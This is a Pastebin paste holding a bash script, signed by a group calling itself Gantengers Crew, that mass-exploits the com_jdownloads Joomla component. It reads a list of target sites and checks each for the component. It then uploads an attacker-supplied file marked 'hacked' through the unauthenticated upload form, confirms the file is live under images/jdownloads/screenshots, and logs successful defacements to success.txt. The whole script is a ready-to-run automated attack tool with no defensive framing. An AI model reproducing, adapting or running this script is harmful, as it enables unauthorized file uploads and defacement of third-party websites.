Kyfx

com_jdownloads (For Lunix)

Apr 8th, 2015
408
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.64 KB | None | 0 0
  1. #!/bin/bash
  2. #coded = Gantengers Crew
  3. UploadJD(){
  4. curl --silent --max-time 10 --connect-timeout 10 -o tmp/resp.txt \
  5. -H "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-LI; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 (.NET CLR 3.5.30729)" \
  6. -H "Accept-Language: en-us,en;q=0.5" \
  7. -H "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7" \
  8. -F "name=defacerid" \
  9. -F "catlist=1" \
  10. -F "filetitle=document" \
  11. -F "description=id" \
  12. -F "0537bf34386f2f179b57f09ed020e2c0=1" \
  13. -F "send=1" \
  14. -F "senden=Send file" \
  15. -F "description=defacerid" \
  16. -F "option=com_jdownloads" \
  17. -F "view=upload" \
  18. -F "pic_upload=@${namafile}" \
  19. --request POST "http://${1}/index.php?option=com_jdownloads&Itemid=0&view=upload"
  20. }
  21. CD(){
  22. curl --silent --max-time 10 --connect-timeout 10 "http://${1}/images/jdownloads/screenshots/${namafile}" -o tmp/cd.txt
  23. if [ ! -f tmp/cd.txt ];then
  24. echo "--> $urlnya : RTO"
  25. continue
  26. fi
  27. cat tmp/cd.txt | grep -i "hacked" > /dev/null;cd=$?
  28. if [ $cd -eq 0 ];then
  29. echo "--> ${1}/images/jdownloads/screenshots/${namafile} : exploit success"
  30. echo "http://${1}/images/jdownloads/screenshots/${namafile}" >> success.txt
  31. else
  32. echo "--> $urlnya : exploit failed"
  33. fi
  34. rm -f tmp/cd.txt
  35. }
  36. CV(){
  37. curl --silent --max-time 10 --connect-timeout 10 "http://${1}/components/com_jdownloads/jdownloads.js" -o tmp/cv.txt
  38. if [ ! -f tmp/cv.txt ];then
  39. echo "--> $urlnya : RTO"
  40. continue
  41. fi
  42. cat tmp/cv.txt | grep "document.uploadForm.file_upload.value\|com_jdownloads\|Toggles the check state of a group of boxes" > /dev/null;cv=$?
  43. if [ $cv -eq 1 ];then
  44. echo "--> $urlnya : not vuln"
  45. rm -f tmp/cv.txt
  46. continue
  47. else
  48. echo "--> $urlnya : found com_jdownloads"
  49. fi
  50. }
  51. Exp(){
  52. for url in `cat $list`
  53. do
  54. urlnya=$(echo $url | awk '{gsub("http://","")}1' | awk '{gsub("https://","")}1' | awk '{gsub("//","/")}1' | awk '{gsub("//","/")}1')
  55. if [ ! -f load.txt ];then
  56. touch load.txt
  57. fi
  58. cat load.txt | grep "$urlnya" > /dev/null;ccl=$?
  59. if [ $ccl -eq 1 ];then
  60. echo $urlnya >> load.txt
  61. else
  62. #udah pernah di load di file load.txt
  63. #kalau mau load ulang,silakan hapus file load.txt
  64. continue
  65. fi
  66. echo "--> $urlnya : check"
  67. CV $urlnya
  68. UploadJD $urlnya
  69. CD $urlnya
  70. done
  71. }
  72. Lengkap(){
  73. if [ ! -d tmp ];then
  74. mkdir tmp
  75. fi
  76. if [ ! -f $namefile ];then
  77. echo "[?] file $namafile gak ada"
  78. exit
  79. fi
  80. if [ ! -f $list ];then
  81. echo "[?] file $list gak ada"
  82. exit
  83. fi
  84. cat $namafile | grep -i "hacked" > /dev/null;chh=$?
  85. if [ $chh -eq 1 ];then
  86. echo "hacked" >> $namafile
  87. fi
  88. echo "zip" > doczxcvbnm.zip
  89. }
  90. read -p "[+] Enter name of gif = " namafile
  91. read -p "[+] Enter list target = " list
  92. Lengkap
  93. Exp
Add Comment
Please, Sign In to add comment